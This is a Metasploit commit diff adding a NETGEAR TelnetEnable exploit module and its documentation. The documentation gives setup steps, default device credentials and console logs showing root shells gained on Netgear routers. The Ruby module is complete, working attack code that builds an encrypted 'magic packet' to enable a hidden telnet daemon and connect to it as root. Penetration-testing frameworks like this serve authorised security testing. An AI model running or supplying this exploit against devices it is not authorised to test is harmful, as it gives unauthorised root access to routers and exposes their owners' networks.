Land #9650 netgear telnetenable exploit
commit
818c28b901
|
@ -0,0 +1,153 @@
|
|||
## Intro
|
||||
|
||||
Several models of Netgear devices have a hidden telnet daemon that can be
|
||||
enabled for remote LAN users by sending a 'magic packet' to the device.
|
||||
Upon successful connect, a root shell should be presented to the user.
|
||||
|
||||
There are many devices which contain this daemon, for a full list see [OpenWrt](https://wiki.openwrt.org/toh/netgear/telnet.console).
|
||||
|
||||
This module has been successfully tested against:
|
||||
|
||||
- AC1450 - unknown older firmware (TCP)
|
||||
- AC1450 - latest firmware: V1.0.0.36_10.0.17 (UDP)
|
||||
- N300 WNR2000 v3 - firmware: V1.1.2.10 (TCP)
|
||||
|
||||
## Setup
|
||||
|
||||
A MAC address is required for exploitation. To determine the MAC address of the device:
|
||||
|
||||
1. Ping the device to force an ARP lookup: ```ping -c 1 [IP]```
|
||||
2. Get the MAC: ```arp -an [IP]```
|
||||
|
||||
If you are the root user, you can skip this step. ARP will be leveraged
|
||||
to find the MAC address.
|
||||
|
||||
## Targets
|
||||
|
||||
**0 (Automatic)**
|
||||
|
||||
Detect if a device listens on TCP or UDP.
|
||||
|
||||
**1 (TCP)**
|
||||
|
||||
Older devices usually listen on TCP.
|
||||
|
||||
**2 (UDP)**
|
||||
|
||||
Newer devices usually listen on UDP.
|
||||
|
||||
## Options
|
||||
|
||||
**MAC**
|
||||
|
||||
Set this to the MAC address of the device. You can use `ping` and `arp`
|
||||
to find it.
|
||||
|
||||
You can leave this blank if you're root.
|
||||
|
||||
**USERNAME**
|
||||
|
||||
If this is an older device, it'll take the value of `super_username` in
|
||||
`nvram`, which is usually unchanged from `Gearguy`.
|
||||
|
||||
If this is a newer device, it'll take the web UI username, which is
|
||||
usually unchanged from `admin`.
|
||||
|
||||
You can leave this blank to use the default username.
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
If this is an older device, it'll take the value of `super_passwd` in
|
||||
`nvram`, which is usually unchanged from `Geardog`.
|
||||
|
||||
If this is a newer device, it'll take the web UI password, which is
|
||||
usually unchanged from `password`.
|
||||
|
||||
You can leave this blank to use the default password.
|
||||
|
||||
## Exploitation
|
||||
|
||||
1. Make sure you have a vulnerable device
|
||||
2. Start metasploit
|
||||
3. ```use exploit/linux/telnet/netgear_telnetenable```
|
||||
4. ```set rhost [IP]```
|
||||
5. ```set mac [MAC Address]``` if not running as root
|
||||
6. ```exploit```
|
||||
7. Enjoy a root shell!
|
||||
|
||||
## Usage
|
||||
|
||||
### AC1450
|
||||
|
||||
As a normal user:
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/telnet/netgear_telnetenable
|
||||
msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf5 exploit(linux/telnet/netgear_telnetenable) > ping -c 1 192.168.1.1
|
||||
[*] exec: ping -c 1 192.168.1.1
|
||||
|
||||
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
|
||||
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=2.04 ms
|
||||
|
||||
--- 192.168.1.1 ping statistics ---
|
||||
1 packets transmitted, 1 received, 0% packet loss, time 0ms
|
||||
rtt min/avg/max/mdev = 2.041/2.041/2.041/0.000 ms
|
||||
msf5 exploit(linux/telnet/netgear_telnetenable) > arp -an 192.168.1.1
|
||||
[*] exec: arp -an 192.168.1.1
|
||||
|
||||
? (192.168.1.1) at [redacted] [ether] on wlan0
|
||||
msf5 exploit(linux/telnet/netgear_telnetenable) > set mac [redacted]
|
||||
mac => [redacted]
|
||||
msf5 exploit(linux/telnet/netgear_telnetenable) > run
|
||||
|
||||
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
|
||||
[+] 192.168.1.1:23 - Using creds admin:password
|
||||
[*] 192.168.1.1:23 - Generating magic packet
|
||||
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
|
||||
[*] 192.168.1.1:23 - Sending magic packet
|
||||
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
|
||||
[*] 192.168.1.1:23 - Waiting for telnetd
|
||||
[*] 192.168.1.1:23 - Connecting to telnetd
|
||||
[*] Found shell.
|
||||
[*] Command shell session 1 opened (192.168.1.3:34833 -> 192.168.1.1:23) at 2018-03-02 19:26:25 -0600
|
||||
|
||||
id
|
||||
id
|
||||
uid=0 gid=0(root)
|
||||
# uname -a
|
||||
uname -a
|
||||
Linux (none) 2.6.36.4brcmarm+ #16 SMP PREEMPT Wed Mar 22 15:02:38 CST 2017 armv7l unknown
|
||||
#
|
||||
```
|
||||
|
||||
As root:
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/telnet/netgear_telnetenable
|
||||
msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
rmsf5 exploit(linux/telnet/netgear_telnetenable) > run
|
||||
|
||||
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
|
||||
[*] 192.168.1.1:23 - Attempting to discover MAC address via ARP
|
||||
[+] 192.168.1.1:23 - Found MAC address [redacted]
|
||||
[+] 192.168.1.1:23 - Using creds admin:password
|
||||
[*] 192.168.1.1:23 - Generating magic packet
|
||||
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
|
||||
[*] 192.168.1.1:23 - Sending magic packet
|
||||
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
|
||||
[*] 192.168.1.1:23 - Waiting for telnetd
|
||||
[*] 192.168.1.1:23 - Connecting to telnetd
|
||||
[*] Found shell.
|
||||
[*] Command shell session 1 opened (192.168.1.2:37771 -> 192.168.1.1:23) at 2018-03-02 19:33:42 -0600
|
||||
|
||||
id
|
||||
id
|
||||
uid=0 gid=0(root)
|
||||
# uname -a
|
||||
uname -a
|
||||
Linux (none) 2.6.36.4brcmarm+ #16 SMP PREEMPT Wed Mar 22 15:02:38 CST 2017 armv7l unknown
|
||||
#
|
||||
```
|
|
@ -0,0 +1,242 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR TelnetEnable',
|
||||
'Description' => %q{
|
||||
This module sends a magic packet to a NETGEAR device to enable telnetd.
|
||||
Upon successful connect, a root shell should be presented to the user.
|
||||
},
|
||||
'Author' => [
|
||||
'Paul Gebheim', # Python PoC (TCP)
|
||||
'insanid', # Python PoC (UDP)
|
||||
'wvu', # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
|
||||
['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
|
||||
['URL', 'https://github.com/insanid/netgear-telenetenable']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 30 2009', # Python PoC (TCP)
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find'
|
||||
}
|
||||
},
|
||||
'Targets' => [
|
||||
['Automatic (detect TCP or UDP)',
|
||||
proto: :auto
|
||||
],
|
||||
['TCP (typically older devices)',
|
||||
proto: :tcp,
|
||||
username: 'Gearguy',
|
||||
password: 'Geardog'
|
||||
],
|
||||
['UDP (typically newer devices)',
|
||||
proto: :udp,
|
||||
username: 'admin',
|
||||
password: 'password'
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(23),
|
||||
OptString.new('MAC', [false, 'MAC address of device']),
|
||||
OptString.new('USERNAME', [false, 'Username on device']),
|
||||
OptString.new('PASSWORD', [false, 'Password on device'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
# Run through protocol detection
|
||||
detect_proto
|
||||
|
||||
# This is a gamble, but it's the closest we can get
|
||||
if @proto == :tcp
|
||||
CheckCode::Detected
|
||||
else
|
||||
CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Try to do the exploit unless telnetd is detected
|
||||
@do_exploit = true
|
||||
|
||||
# Detect TCP or UDP and presence of telnetd
|
||||
@proto = target[:proto]
|
||||
detect_proto if @proto == :auto
|
||||
|
||||
# Use supplied or ARP-cached MAC address
|
||||
configure_mac if @do_exploit
|
||||
|
||||
# Use supplied or default creds
|
||||
configure_creds if @do_exploit
|
||||
|
||||
# Shell it
|
||||
exploit_telnetenabled if @do_exploit
|
||||
connect_telnetd
|
||||
end
|
||||
|
||||
def detect_proto
|
||||
begin
|
||||
connect
|
||||
|
||||
res = begin
|
||||
sock.get_once || ''
|
||||
rescue EOFError
|
||||
''
|
||||
end
|
||||
|
||||
# telnetenabled returns no data, unlike telnetd
|
||||
if res.length == 0
|
||||
print_good('Detected telnetenabled on TCP')
|
||||
else
|
||||
print_good('Detected telnetd on TCP')
|
||||
@do_exploit = false
|
||||
end
|
||||
|
||||
@proto = :tcp
|
||||
# It's UDP... and we may not get an ICMP error...
|
||||
rescue Rex::ConnectionError
|
||||
print_good('Detected telnetenabled on UDP')
|
||||
@proto = :udp
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def configure_mac
|
||||
@mac = datastore['MAC']
|
||||
|
||||
return if @mac
|
||||
|
||||
print_status('Attempting to discover MAC address via ARP')
|
||||
|
||||
begin
|
||||
open_pcap
|
||||
@mac = lookup_eth(rhost).first
|
||||
rescue RuntimeError
|
||||
fail_with(Failure::BadConfig, 'Superuser access required')
|
||||
ensure
|
||||
close_pcap
|
||||
end
|
||||
|
||||
if @mac
|
||||
print_good("Found MAC address #{@mac}")
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Could not find MAC address')
|
||||
end
|
||||
end
|
||||
|
||||
def configure_creds
|
||||
@username = datastore['USERNAME'] || target[:username]
|
||||
@password = datastore['PASSWORD'] || target[:password]
|
||||
|
||||
# Try to use default creds if no creds were found
|
||||
unless @username && @password
|
||||
tgt = targets.find { |t| t[:proto] == @proto }
|
||||
@username = tgt[:username]
|
||||
@password = tgt[:password]
|
||||
end
|
||||
|
||||
print_good("Using creds #{@username}:#{@password}")
|
||||
end
|
||||
|
||||
def exploit_telnetenabled
|
||||
print_status('Generating magic packet')
|
||||
payload = magic_packet(@mac, @username, @password)
|
||||
|
||||
begin
|
||||
print_status("Connecting to telnetenabled via #{@proto.upcase}")
|
||||
@proto == :tcp ? connect : connect_udp
|
||||
print_status('Sending magic packet')
|
||||
@proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
|
||||
rescue Rex::ConnectionError
|
||||
fail_with(Failure::Disconnected, 'Something happened mid-connection!')
|
||||
ensure
|
||||
print_status('Disconnecting from telnetenabled')
|
||||
@proto == :tcp ? disconnect : disconnect_udp
|
||||
end
|
||||
|
||||
# Wait a couple seconds for telnetd to come up
|
||||
print_status('Waiting for telnetd')
|
||||
sleep(2)
|
||||
end
|
||||
|
||||
def connect_telnetd
|
||||
print_status('Connecting to telnetd')
|
||||
connect
|
||||
handler(sock)
|
||||
end
|
||||
|
||||
# NOTE: This is almost a verbatim copy of the Python PoC
|
||||
def magic_packet(mac, username, password)
|
||||
mac = mac.gsub(/[:-]/, '').upcase
|
||||
|
||||
if mac.length != 12
|
||||
fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
|
||||
end
|
||||
just_mac = mac.ljust(0x10, "\x00")
|
||||
|
||||
if username.length > 0x10
|
||||
fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
|
||||
end
|
||||
just_username = username.ljust(0x10, "\x00")
|
||||
|
||||
if @proto == :tcp
|
||||
if password.length > 0x10
|
||||
fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
|
||||
end
|
||||
just_password = password.ljust(0x10, "\x00")
|
||||
elsif @proto == :udp
|
||||
# Thanks to Roberto Frenna for the reserved field analysis
|
||||
if password.length > 0x21
|
||||
fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
|
||||
end
|
||||
just_password = password.ljust(0x21, "\x00")
|
||||
end
|
||||
|
||||
cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
|
||||
md5_key = Rex::Text.md5_raw(cleartext)
|
||||
|
||||
payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))
|
||||
|
||||
secret_key = 'AMBIT_TELNET_ENABLE+' + password
|
||||
|
||||
byte_swap(blowfish_encrypt(secret_key, payload))
|
||||
end
|
||||
|
||||
def blowfish_encrypt(secret_key, payload)
|
||||
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
|
||||
|
||||
cipher.padding = 0
|
||||
cipher.key_len = secret_key.length
|
||||
cipher.key = secret_key
|
||||
|
||||
cipher.update(payload) + cipher.final
|
||||
end
|
||||
|
||||
def byte_swap(data)
|
||||
data.unpack('N*').pack('V*')
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue